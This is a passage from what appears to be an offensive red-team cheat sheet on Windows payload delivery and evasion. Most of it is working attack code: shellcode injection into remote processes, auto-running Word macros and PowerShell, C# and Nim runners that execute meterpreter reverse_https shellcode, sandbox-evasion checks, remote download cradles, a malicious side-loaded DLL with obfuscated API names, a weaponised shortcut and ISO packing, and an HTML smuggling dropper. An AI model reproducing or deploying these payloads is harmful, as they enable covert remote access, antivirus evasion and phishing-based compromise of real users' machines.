[Link]("[-] Falied to create a section for the shellcode");
return;
}

// Map the view of created section into the LOCAL process's virtual address space
IntPtr baseAddressL = new IntPtr();
ulong sectionOffsetL = new ulong();
if (NtMapViewOfSection(hSection, hLocalProcess, ref baseAddressL, [Link], UI
{
[Link]("[-] Falied to map the view into local process's space");
return;
}

// Map the view of (the same) created section into the REMOTE process's virtual ad
IntPtr baseAddressR = new IntPtr();
ulong sectionOffsetR = new ulong();
if (NtMapViewOfSection(hSection, hRemoteProcess, ref baseAddressR, [Link], U
{
[Link]("[-] Falied to map the view into remote process's space");
return;
}

// Copy the shellcode into the locally mapped view which will be reflected on the
[Link](buf, 0, baseAddressL, bufLength);

// BEGIN DEBUG (check if the shellcode was copied correctly)


byte[] remoteMemory = new byte[bufLength];
IntPtr bytesRead = new IntPtr();
ReadProcessMemory(hRemoteProcess, baseAddressR, remoteMemory, [Link]
if (!CompareByteArray(buf, remoteMemory))
{
[Link]("[-] DEBUG: Shellcode bytes read from remotely mapped view d
return;
}
// END DEBUG

// Execute the shellcode in a remote thread (also can be done with CreateRemoteThr
//CreateRemoteThread(hRemoteProcess, [Link], 0, baseAddressR, [Link], 0
IntPtr threadHandle = new IntPtr();
if (RtlCreateUserThread(hRemoteProcess, [Link], false, 0, [Link], IntPtr
{
[Link]("[-] Failed to create a remote thread");
return;
}

[Link]($"[+] Successfully injected shellcode into remote process ({proc

// Clean up
NtUnmapViewOfSection(hLocalProcess, baseAddressL);
NtClose(hSection);
}
}
}

Tools

PSInject

[Link]

PS > Invoke-PSInject -ProcId <PID> -PoshCode <BASE64_CMD>

Shellcode Runners
Inject shellcode into current process's virtual address space

VBA
An explanation how to map C types to appropriate VBA types manually.

With this approach the shell lives until Word is not closed (no WaitForSingleObject ):

[Link]
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As LongPtr, ByVa
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal lDestination As LongPtr,
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal SecurityAttributes As Long
Private Declare PtrSafe Function Sleep Lib "kernel32" (ByVal mili As Long) As Long
Private Declare PtrSafe Function FlsAlloc Lib "kernel32" (ByVal lpCallback As LongPtr) As Long

Sub Document_Open()
ShellcodeRunner
End Sub

Sub AutoOpen()
ShellcodeRunner
End Sub

Function ShellcodeRunner()
Dim buf As Variant
Dim tmp As LongPtr
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long
Dim dream As Integer
Dim before As Date

' Check if we're in a sandbox by calling a rare-emulated API


If IsNull(FlsAlloc(tmp)) Then
Exit Function
End If

' Sleep to evade in-memory scan + check if the emulator did not fast-forward through the sle
dream = Int((1500 * Rnd) + 2000)
before = Now()
Sleep (dream)
If DateDiff("s", t, Now()) < dream Then
Exit Function
End If

' msfvenom -p windows/meterpreter/reverse_https LHOST=[Link] LPORT=443 EXITFUNC=thread


buf = Array(31, 33, ..., 33, 37)

' XOR-decrypt the shellcode


For i = 0 To UBound(buf)
buf(i) = buf(i) Xor Asc("a")
Next i

' &H3000 = 0x3000 = MEM_COMMIT | MEM_RESERVE


' &H40 = 0x40 = PAGE_EXECUTE_READWRITE
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)

For counter = LBound(buf) To UBound(buf)


data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter

res = CreateThread(0, 0, addr, 0, 0, 0)


End Function

PowerShell

Using Add-Type and C#


C data types to C# data types "translation" can be done with P/Invoke APIs (Platform Invocation Services) at
[Link] (e.g., VirtualAlloc).

ShellcodeRunnerv1.ps1
$Win32 = @"
using System;
using [Link];

public class Win32 {


[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationT

[DllImport("kernel32", CharSet=[Link])]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntP

[DllImport("[Link]", SetLastError=true)]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
"@

Add-Type $Win32

[Byte[]] $buf = 0x31,0x33,...,0x33,0x37


$size = $[Link]
# msfvenom -p windows/meterpreter/reverse_https LHOST=[Link] LPORT=443 EXITFUNC=thread -f
[IntPtr]$addr = [Win32]::VirtualAlloc(0, $size, 0x3000, 0x40)
[[Link]]::Copy($buf, 0, $addr, $size)
$thandle = [Win32]::CreateThread(0, 0, $addr, 0, 0, 0)
[Win32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")

Reflectively using DelegateType (in Memory)

[Link]
Snippets/blob/main/Shellcode%20Process%20Injector/Shellcode%20Process%20Injector.ps1

What's going on here:

1. lookupFunc 👉🏻 to obtain a reference to the [Link] assembly's GetModuleHandle and


GetProcAddress methods using GetType and GetMethod functions (aka the Reflection
technique).

2. getDelegateType 👉🏻 to define the argument types for the APIs using a delegate type via Reflection
and return it.
3. VirtualAlloc 👉🏻 to allocate writable, readable, and executable (unmanaged) memory space in
virtual address space of the calling process.
4. Copy 👉🏻 to copy the shellcode bytes into allocated memory location.

5. CreateThread 👉🏻 to create a new execution thread in the calling process and execute the shellcode.

6. WaitForSingleObject 👉🏻 to delay termination of the PowerShell script until the shell fully executes.
ShellcodeRunnerv2.ps1
function lookupFunc {
Param ($moduleName, $funcName)

$assem = ([AppDomain]::[Link]() | ? { $_.GlobalAssemblyCache -And $_


$tmp = @()
$[Link]() | % {If($_.Name -eq "GetProcAddress") {$tmp += $_}}
return $tmp[0].Invoke($null, @(($[Link]('GetModuleHandle')).Invoke($null, @($modu
}

function getDelegateType {
Param (
[Parameter(Position=0, Mandatory=$True)][Type[]] $argsTypes,
[Parameter(Position=1)][Type] $retType = [Void]
)

# Building a DelegateType (doing it manually to avoid usage of Add-Type)


## create a custom assembly and define the module and type inside
$type = [AppDomain]::[Link]((New-Object [Link]
## set up the constructor
$[Link]('RTSpecialName, HideBySig, Public', [[Link]
## sets up the invoke method
$[Link]('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argsTypes)
## invoke the constructor and return the delegation type
return $[Link]()
}

# $VirtualAllocAddr = lookupFunc [Link] VirtualAlloc


# $VirtualAllocDelegateType = getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPt
# $VirtualAlloc =[[Link]]::GetDelegateForFunctionPointer($Virt
# $[Link]([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

$lpMem = [[Link]]::GetDelegateForFunctionPointer((lookupFunc k
# msfvenom -p windows/meterpreter/reverse_https LHOST=[Link] LPORT=443 EXITFUNC=thread -f
[Byte[]] $buf = 0x31,0x33,...,0x33,0x37
[[Link]]::Copy($buf, 0, $lpMem, $[Link])

$hThread = [[Link]]::GetDelegateForFunctionPointer((lookupFunc
[[Link]]::GetDelegateForFunctionPointer((lookupFunc kernel32.d

In order to run x64 shellcode from a 32-bit application (e.g., MS Word), you may want to specify
the path to 64-bit PowerShell binary through Sysnative alias.

C#
C# DLL to Jscript

[Link]

[Link]
using System;
using [Link];
using [Link];

[ComVisible(true)]
public class TestClass
{
[DllImport("[Link]", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, ui

[DllImport("[Link]")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpSt

[DllImport("[Link]")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

public TestClass()
{
// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[Link] LPORT=443 -f cs
byte[] buf = new byte[???] {
0x31,0x33,...,0x33,0x37 };

IntPtr addr = VirtualAlloc([Link], 0x1000, 0x3000, 0x40);


[Link](buf, 0, addr, [Link]);
IntPtr hThread = CreateThread([Link], 0, addr, [Link], 0, [Link]);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}

public void RunProcess(string path)


{
[Link](path);
}
}

Compile to Jscript with [Link]:

Cmd > .\[Link] .\[Link] --lang=Jscript --ver=v4 -o [Link]

SharpShooter

[Link]
$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[Link] LPORT=443 -f raw -o met
$ python [Link] --dotnetver 4 --stageless --rawscfile [Link] --payload js --output e

This tool can efficiently be used with HTML Smuggling technique.

HTML Smuggling

C# DLL with PowerShell Cradle (in Memory)

[Link]

[Link]

[Link]

using System;
using [Link];

namespace ShellcodeRunner
{
public class Program
{
[DllImport("[Link]", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType

[DllImport("[Link]")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr

[DllImport("[Link]")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

[DllImport("[Link]")]
static extern void Sleep(uint dwMilliseconds);

[DllImport("[Link]", SetLastError = true, ExactSpelling = true)]


static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize

[DllImport("[Link]")]
static extern IntPtr GetCurrentProcess();

public static void Run()


{
// Check if we're in a sandbox by calling a rare-emulated API
if (VirtualAllocExNuma(GetCurrentProcess(), [Link], 0x1000, 0x3000, 0x4, 0) =
{
return;
}
// Sleep to evade in-memory scan + check if the emulator did not fast-forward thro
var rand = new Random();
uint dream = (uint)[Link](10000, 20000);
double delta = dream / 1000 - 0.5;
DateTime before = [Link];
Sleep(dream);
if ([Link](before).TotalSeconds < delta)
{
[Link]("Charles, get the rifle out. We're being fucked.");
return;
}

// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[Link] LPORT=443 E


byte[] buf = new byte[???] {
0x31,0x33,...,0x33,0x37 };

// XOR-decrypt the shellcode


for (int i = 0; i < [Link]; i++)
{
buf[i] = (byte)(buf[i] ^ (byte)'a');

IntPtr addr = VirtualAlloc([Link], 0x1000, 0x3000, 0x40);


[Link](buf, 0, addr, [Link]);
IntPtr hThread = CreateThread([Link], 0, addr, [Link], 0, [Link]);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}

Compile to DLL and load with PowerShell from memory:

$data = (New-Object [Link]).DownloadData('[Link]


$assem = [[Link]]::Load($data)

$class = $[Link]("[Link]")
[$bindingFlags= [[Link]] "NonPublic,Static"]
$method = $[Link]("Run", [$bindingFlags])
$[Link](0, $null)
Or
$a = [[Link]]::Run()

Shellcode Encoders/Encryptors

[Link]
Snippets/blob/main/ROT%20Shellcode%20Encoder/[Link]
[Link]
Snippets/blob/main/XOR%20Shellcode%20Encoder/[Link]
[Link]
Snippets/blob/main/Linux%20Shellcode%20Encoder/[Link]

Shellcode XOR-encrypt helper for VBA:

[Link]
import ast
# msfvenom -p windows/meterpreter/reverse_https LHOST=[Link] LPORT=443 EXITFUNC=thread -f
buf = """buf = Array(31,33,...,33,37)"""
buf = buf[11:]
buf = [Link](' _\n', '')
buf = ast.literal_eval(buf)
enc = [b ^ ord('a') for b in buf]
enc = str(enc).replace('[', '').replace(']', '')

parts, chunk = [], ''


for c in enc:

chunk += c
if len(chunk) > 200 and c == ',':
[Link]([Link]())
chunk = ''
[Link](chunk)

enc = ' _\r\n'.join(parts)


enc = f'buf = Array({enc})'
print(enc)

PowerShell XOR-encrypt helper for VBA with WMI de-chain:

PS-XOREncrypt-HEX.ps1
$payload = "powershell -exec bypass -nop -c IEX(New-Object [Link]).DownloadString('http
[string]$output = ""
$[Link]() | % {
[string]$thischar = [byte][char]$_ -bxor [byte]'a'
if($[Link] -eq 1) {
$thischar = [string]"00" + $thischar
$output += $thischar
}
elseif($[Link] -eq 2) {
$thischar = [string]"0" + $thischar
$output += $thischar
}
elseif($[Link] -eq 3) {
$output += $thischar
}
}
$output | clip
[Link]
payload = r"powershell -exec bypass -nop -c IEX(New-Object [Link]).DownloadString('http
output = ''.join([str(ord(c) ^ ord('a')).zfill(3) for c in payload])
print(output)

Shellcode XOR-encrypt helper for C# (msfvenom-like output style):

[Link]
using System;
using [Link];

namespace XOREncrypt
{
class Program
{
static void Main(string[] args)
{

// msfvenom -p windows/meterpreter/reverse_https LHOST=[Link] LPORT=443 EXITF


byte[] buf = new byte[???] {
0x31,0x33,...,0x33,0x37 };

// XOR-encrypt the shellcode


for (int i = 0; i < [Link]; i++)
{
buf[i] = (byte)(buf[i] ^ (byte)'a');
}

StringBuilder hex = new StringBuilder([Link] * 2);


//foreach (byte b in buf)
for (int i = 0; i < [Link]; i++)
{
if (i != [Link] - 1)
{
[Link]("0x{0:x2},", buf[i]);
}
else // no "," for the last line
{
[Link]("0x{0:x2}", buf[i]);
}
if ((i + 1) % 15 == 0)
{
[Link]();
}
}

[Link]($"byte[] buf = new byte[{[Link]}] {{\n{[Link]()} }};")


}
}
}
D/Invoke
Dynamic API Invocation

[Link]

[Link]

[Link]

[Link]

[Link]
[Link]

[Link]

Dynamic P/Invoke

[Link]

Run PE From Memory

[Link]

[Link]
using System;
using [Link];
using [Link];

namespace DInvokePE
{
public class Program
{
static byte[] Compress(byte[] data)
{
MemoryStream output = new MemoryStream();
using (DeflateStream dStream = new DeflateStream(output, [Link])
[Link](data, 0, [Link]);

return [Link]();
}
static
{ byte[] Decompress(byte[] data)

MemoryStream input = new MemoryStream(data);


MemoryStream output = new MemoryStream();
using (DeflateStream dStream = new DeflateStream(input, [Link]
[Link](output);

return [Link]();
}

public static void Main(string[] args)


{
/*
var rawBytes = [Link](@"C:\Users\snovvcrash\Desktop\[Link]");
var compressed = Compress(rawBytes);
var compressedB64 = Convert.ToBase64String(compressed);
*/

var compressed = Convert.FromBase64String("");


var rawBytes = Decompress(compressed);
[Link].PE_MANUAL_MAP map = [Link](rawByt
[Link]([Link], [Link]);
[Link]();
}
}
}

Nim

[Link]

[Link]
[Link]
[Link]
[Link]
[Link]
learned/

Install
Windows:

[Link]
[Link]
Linux:

$ sudo apt install mingw-w64 -y


$ sudo apt install nim -y
Or
$ curl [Link] -sSf | sh

Dependencies:

Nim > nimble install winim nimcrypto zippy

Compilation
Basic:

Nim > nim c [Link]

To not popup the console window:

Nim > nim c --app:gui [Link]

For the best size:

Nim > nim c -d:danger -d:strip --opt:size --passC=-flto --passL=-flto [Link]

For Windows on Linux:

$ nim c --cpu:amd64 --os:windows --[Link]:x86_64-w64-mingw32-gcc --[Link]:x86_64-w64-m

Add the needed relocation section to the resulting executable (from Windows):

Nim > nim c --passL:-Wl,--dynamicbase,--export-all-symbols [Link]

Inject Shellcode

NimlineWhispers

[Link]
[Link]
[Link]

How-to:

1. Generate a nim header with syscalls definitions (function names randomized): python3
[Link] --randomise .

2. Modify shellcode_bin.nim template to fit new function names.

3. Generate a shellcode of your choice, put it into the template and compile the binary: nim c -
d=mingw --app=console --cpu=amd64 shellcode_bin.nim .

Encrypted

[Link]
[Link]

# Generate a shellcode
$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[Link] LPORT=443 -e x64/xor -
# Copy the shellcode into the 1st template and compile
$ nim c encrypt_shellcode.nim
# Encrypt the shellcode and write contents into a file
$ ./encrypt_shellcode 'Passw0rd!' [Link]
# Copy encrypted shellcode into the 2nd template and compile
$ cat [Link] | xclip -i -sel c
$ nim c --cpu:amd64 --os:windows --[Link]:x86_64-w64-mingw32-gcc --[Link]:x86_64-w64-m

Execute C# Assemblies

[Link]
[Link]
[Link]

$ pwsh -exec bypass


PS > . ./CSharpToNimByteArray.ps1
PS > CSharpToNimByteArray -inputfile [Link]
Nim > nim c --passL:-Wl,--dynamicbase,--export-all-symbols execute_assembly_bin.nim

Encrypted

[Link]
[Link]
$ nim c encrypt_assembly.nim
$ nim c --cpu:amd64 --os:windows --[Link]:x86_64-w64-mingw32-gcc --[Link]:x86_64-w64-m
$ ./encrypt_assembly 'Passw0rd!' [Link] [Link]
Cmd > .\encrypted_assembly_loader.exe Passw0rd! [Link] --Command logonpasswords

Tools & Packers

[Link]

[Link]

[Link]
[Link]

[Link]

Sandbox Evasion

[Link]
[Link]
[Link]

Code Snippets
Check if a machine a domain-joined (sandbox evasion):

is_domain_joined.py
// [Link] is_domain_joined.cpp [Link]
#include <Windows.h>
#include <LM.h>
#include <iostream>

BOOL IsDomainJoined() {
auto joined = false;
LPWSTR lpNameBuffer = nullptr;
NETSETUP_JOIN_STATUS joinStatus = NETSETUP_JOIN_STATUS::NetSetupUnknownStatus;

NET_API_STATUS status = NetGetJoinInformation(nullptr, &lpNameBuffer, &joinStatus);


if (status == NERR_Success)
joined = joinStatus == NETSETUP_JOIN_STATUS::NetSetupDomainName;
if (lpNameBuffer)
NetApiBufferFree(lpNameBuffer);

return joined;
}

int main()
{
std::cout << (!IsDomainJoined() ? "No dynamic analysis 4 U" : "Hack the Planet!") << std:
}

Shellcodes

[Link]
shellcode-in-c

Syscalls

[Link]
[Link]
[Link]

[Link]
[Link]

[Link]
[Link]
[Link]

Windows API

[Link]
[Link]
[Link]

[Link]
[Link]
[Link]
SE
Social Engineering

Phishing

VPS Setup

[Link]

Domains

[Link]
[Link]
[Link]

[Link]
[Link]

DLL Side-Loading

[Link]

All About DLL Hijacking - My Favorite Persistence Method


Combining with ISO Packing

[Link]

[Link]

[Link]

Encrypt your payload:

[Link]
from os import urandom
from hashlib import sha256
from [Link] import AES

KEY = urandom(16)

def pad(s):
return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) %

def aesenc(plaintext, key):


cipher = [Link](sha256(key).digest(), AES.MODE_CBC, 16 * '\x00')
return [Link](bytes(pad(plaintext)))

with open('[Link]', 'rb') as f:


plaintext = [Link]()

print('key[] = { 0x' + ',0x'.join(hex(ord(x))[2:] for x in KEY) + ' };')


with open('[Link]', 'wb') as f:
[Link](aesenc(plaintext, KEY))

Generate a proxy DLL with SharpDLLProxy:

Cmd > [Link] --dll C:\Windows\System32\[Link] --payload [Link]


Cmd > move output_version\[Link] C:\out\[Link]

Compile a malicious DLL (stolen from injectopi):

Source

[Link]
#include "pch.h"
#include
#include <stdlib.h>
<wincrypt.h>
#include <Windows.h>
#include <TlHelp32.h>
#include "CreateSection.h"

#pragma comment(lib, "ntdll")

#define _CRT_SECURE_NO_DEPRECATE
#pragma warning (disable : 4996)

// ...pragma export redirections from version_pragma.c...

void XOR(char* data, size_t data_len) {


const char key[] = "opzlxkncgtoqapweldg";

int j = 0;
for (int i = 0; i < data_len; i++) {
if (j == sizeof(key) - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}

BOOL LoadNtdllFunctions() {
HMODULE ntdll = GetModuleHandleA("[Link]");

char ZwOpenProcess_str[] = { 0x35,0x07,0x35,0x1c,0x1d,0x05,0x3e,0x11,0x08,0x17,


XOR((char*)ZwOpenProcess_str, 13);
ZwOpenProcess = (NTSTATUS(NTAPI*)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCL
if (ZwOpenProcess == NULL) return FALSE;

char ZwCreateSection_str[] = { 0x35,0x07,0x39,0x1e,0x1d,0x0a,0x1a,0x06,0x34,0x1


XOR((char*)ZwCreateSection_str, 15);
ZwCreateSection = (NTSTATUS(NTAPI*)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, P
if (ZwCreateSection == NULL) return FALSE;

char ZwMapViewOfSection_str[] = { 0x35,0x07,0x37,0x0d,0x08,0x3d,0x07,0x06,0x10,


XOR((char*)ZwMapViewOfSection_str, 18);
ZwMapViewOfSection = (NTSTATUS(NTAPI*)(HANDLE, HANDLE, PVOID*, ULONG_PTR, SIZE_
if (ZwMapViewOfSection == NULL) return FALSE;

char ZwCreateThreadEx_str[] = { 0x35,0x07,0x39,0x1e,0x1d,0x0a,0x1a,0x06,0x33,0x


XOR((char*)ZwCreateThreadEx_str, 16);
ZwCreateThreadEx = (NTSTATUS(NTAPI*)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES,
if (ZwCreateThreadEx == NULL) return FALSE;

char ZwDelayExecution_str[] = { 0x35,0x07,0x3e,0x09,0x14,0x0a,0x17,0x26,0x1f,0x


XOR((char*)ZwDelayExecution_str, 16);
ZwDelayExecution = (NTSTATUS(NTAPI*)(BOOL, PLARGE_INTEGER))GetProcAddress(ntdll
if (ZwDelayExecution == NULL) return FALSE;

char ZwClose_str[] = { 0x35,0x07,0x39,0x00,0x17,0x18,0x0b };


XOR((char*)ZwClose_str, 7);
ZwClose = (NTSTATUS(NTAPI*)(HANDLE))GetProcAddress(ntdll, ZwClose_str);
if (ZwClose == NULL) return FALSE;

return TRUE;
}

HANDLE GetProcHandlebyName(const char* procName) {


PROCESSENTRY32 entry;
[Link] = sizeof(PROCESSENTRY32);
NTSTATUS status = NULL;
HANDLE hProc = 0;

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);


if (Process32First(snapshot, &entry)) {
do {
if (strcmp(([Link]), procName) == 0) {
OBJECT_ATTRIBUTES oa;
CLIENT_ID cid = { (HANDLE)entry.th32ProcessID, NULL };
InitializeObjectAttributes(&oa, nullptr, 0, nullptr, nullptr);

status = ZwOpenProcess(&hProc, PROCESS_ALL_ACCESS, &oa, &cid);

if (!NT_SUCCESS(status))
continue;

return hProc;
}
} while (Process32Next(snapshot, &entry));
}
ZwClose(snapshot);

return NULL;
}

// Credit: Sektor7 RTO Malware Essential Course


int AESDecrypt(char* payload, unsigned int payload_len, char* key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;

if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT


if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) return -1;
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)) return -1;
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) return -1;
if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)payload, (DWORD*)&payloa

CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);

return 0;
}

DWORD WINAPI Run(LPVOID lpParameter) {


if (LoadNtdllFunctions() == FALSE)
return -1;

char RuntimeBroker_str[] = { 0x3d,0x05,0x14,0x18,0x11,0x06,0x0b,0x21,0x15,0x1b,


XOR((char*)RuntimeBroker_str, 17);
HANDLE hProc = GetProcHandlebyName(RuntimeBroker_str);
if (hProc == NULL)
return -1;

FILE* fp;
size_t shellcodeSize;
unsigned char* shellcode;
char OneDriveUpdate_str[] = { 0x20,0x1e,0x1f,0x28,0x0a,0x02,0x18,0x06,0x49,0x21
XOR((char*)OneDriveUpdate_str, 15);
fp = fopen(OneDriveUpdate_str, "rb");
fseek(fp, 0, SEEK_END);
shellcodeSize = ftell(fp);
fseek(fp, 0, SEEK_SET);
shellcode = (unsigned char*)malloc(shellcodeSize);
fread(shellcode, shellcodeSize, 1, fp);

char key[] = { 0x13,0x33,0x33,0x37 };


AESDecrypt((char*)shellcode, shellcodeSize, key, sizeof(key));

HANDLE hSection = NULL;


SIZE_T size = shellcodeSize;
LARGE_INTEGER sectionSize = { size };
NTSTATUS status = NULL;

if ((status = ZwCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, (PLARGE_INTE


return -1;

PVOID pLocalView = NULL, pRemoteView = NULL;


if ((status = ZwMapViewOfSection(hSection, GetCurrentProcess(), &pLocalView, NU
return -1;

memcpy(pLocalView, shellcode, shellcodeSize);

if ((status = ZwMapViewOfSection(hSection, hProc, &pRemoteView, NULL, NULL, NUL


return -1;

LARGE_INTEGER interval;
[Link] = -1 * (int)(4270 * 10000.0f);

if ((status = ZwDelayExecution(TRUE, &interval)) != STATUS_SUCCESS)


return -1;

HANDLE hThread = NULL;


if ((status = ZwCreateThreadEx(&hThread, 0x1FFFFF, NULL, hProc, pRemoteView, NU
return -1;

ResumeThread(hThread);

[Link] = -1 * (int)(4270 * 10000.0f);


if ((status = ZwDelayExecution(TRUE, &interval)) != STATUS_SUCCESS)
return -1;

return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)


HANDLE threadHandle;

switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
threadHandle = CreateThread(NULL, 0, Run, NULL, 0, NULL);
CloseHandle(threadHandle);
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
Sleep(5000);
break;
}

return TRUE;
}

Include

CreateSection.h
#pragma once
#include <Windows.h>
#include <stdio.h>

#if !defined NTSTATUS


typedef LONG NTSTATUS;
#endif

#define STATUS_SUCCESS 0
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) == STATUS_SUCCESS)

#if !defined PROCESSINFOCLASS


typedef LONG PROCESSINFOCLASS;
#endif

#if !defined PPEB


typedef
#endif struct _PEB* PPEB;

#if !defined PROCESS_BASIC_INFORMATION


typedef struct _PROCESS_BASIC_INFORMATION {
PVOID Reserved1;
PPEB PebBaseAddress;
PVOID Reserved2[2];
ULONG_PTR UniqueProcessId;

PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
#endif;

typedef struct _UNICODE_STRING {


USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {


ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _CLIENT_ID


{
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENT_ID, * PCLIENT_ID;

typedef OBJECT_ATTRIBUTES* POBJECT_ATTRIBUTES;


#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}

NTSTATUS(NTAPI* ZwOpenProcess)
(_Out_ PHANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PCLIENT_ID ClientID);

NTSTATUS(NTAPI* ZwCreateSection)
(_Out_ PHANDLE SectionHandle, _In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PLARGE_INTEGER MaximumSize, _In_ ULONG SectionPageProtection,
_In_ ULONG AllocationAttributes, _In_opt_ HANDLE FileHandle);

NTSTATUS(NTAPI* ZwMapViewOfSection)
(_In_ HANDLE SectionHandle, _In_ HANDLE ProcessHandle,
_Inout_ PVOID* BaseAddress, _In_ ULONG_PTR ZeroBits, _In_ SIZE_T CommitSize
_Inout_opt_ PLARGE_INTEGER SectionOffset, _Inout_ PSIZE_T ViewSize,
_In_ DWORD InheritDisposition, _In_ ULONG AllocationType,
_In_ ULONG Win32Protect);

NTSTATUS(NTAPI* ZwCreateThreadEx)
(_Out_ PHANDLE ThreadHandle, _In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, _In_ HANDLE ProcessHandle,
_In_ PVOID StartRoutine, _In_opt_ PVOID Argument, _In_ ULONG CreateFlags,
_In_opt_ ULONG_PTR ZeroBits, _In_opt_ SIZE_T StackSize,
_In_opt_ SIZE_T MaximumStackSize, _In_opt_ PVOID AttributeList);

NTSTATUS(NTAPI* ZwDelayExecution)
(_In_ BOOL Alertable,
_In_ PLARGE_INTEGER DelayInterval);

NTSTATUS(NTAPI* ZwUnmapViewOfSection)
(_In_ HANDLE ProcessHandle,
_In_opt_ PVOID BaseAddress);

NTSTATUS(NTAPI* ZwClose)(_In_ HANDLE Handle);

Create a malicious link:

$obj = New-object -comobject [Link]


$link = $[Link]("C:\out\[Link]")
$[Link] = "7"
$[Link] = "%windir%/system32/[Link]"
$[Link] = "C:\Program Files (x86)\Windows NT\Accessories\[Link]"
$[Link] = "/c start [Link]"
$[Link]()

Pack all the files into an ISO with PackMyPayload:

PS > python .\[Link] C:\out\ C:\out\[Link] --out-format iso --hide [Link]

HTML Smuggling

[Link]
How-to:

1. Base64 code is placed into an array buffer, byte-by-byte.

2. The array buffer is placed into the binary blob.

3. A hidden a tag is created.

4. The data from the binary blob is moved to the href reference of the a tag.

5. The code from the binary blob is given the file name of [Link] .

6. Finally, a click action is performed to download the file.

[Link]
<html>
<body>
<script>
function base64ToArrayBuffer(base64) {
var binary_string = [Link](base64);
var len = binary_string.length;
var bytes = new Uint8Array( len );
for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
return [Link];
}
// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[Link] LPORT=443 -f e
// base64 -w0 [Link] | xclip -i -sel clipboard
var file ='<METERPRETER_BASE64_CONTENTS>'
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = '[Link]';
var a = [Link]('a');
[Link](a);
[Link] = 'display: none';
var url = [Link](blob);
[Link] = url;
[Link] = fileName;
[Link]();
[Link](url);
</script>
</body>
</html>

This page will work when browsed with Google Chrome (since it supports
[Link] ). This technique must be modified to work against
browsers like IE or Microsoft Edge.

SharpShooter
[Link]

[Link]

$ python [Link] --payload js --delivery web --output evil --web [Link]

MS Office

MS Word Document with Switcheroo Text

1. Place "encrypted" data in a Word document after the pretext (random base64): head -c 2K <
/dev/urandom > rnd && base64 rnd .
2. Create an AutoText: Insert > Quick Parts > AutoTexts > Save Selection as DecryptedBody to
AutoText Gallery.

3. Create a macro to "decrypt" the body with readable content according to the phishing legend.

[Link]
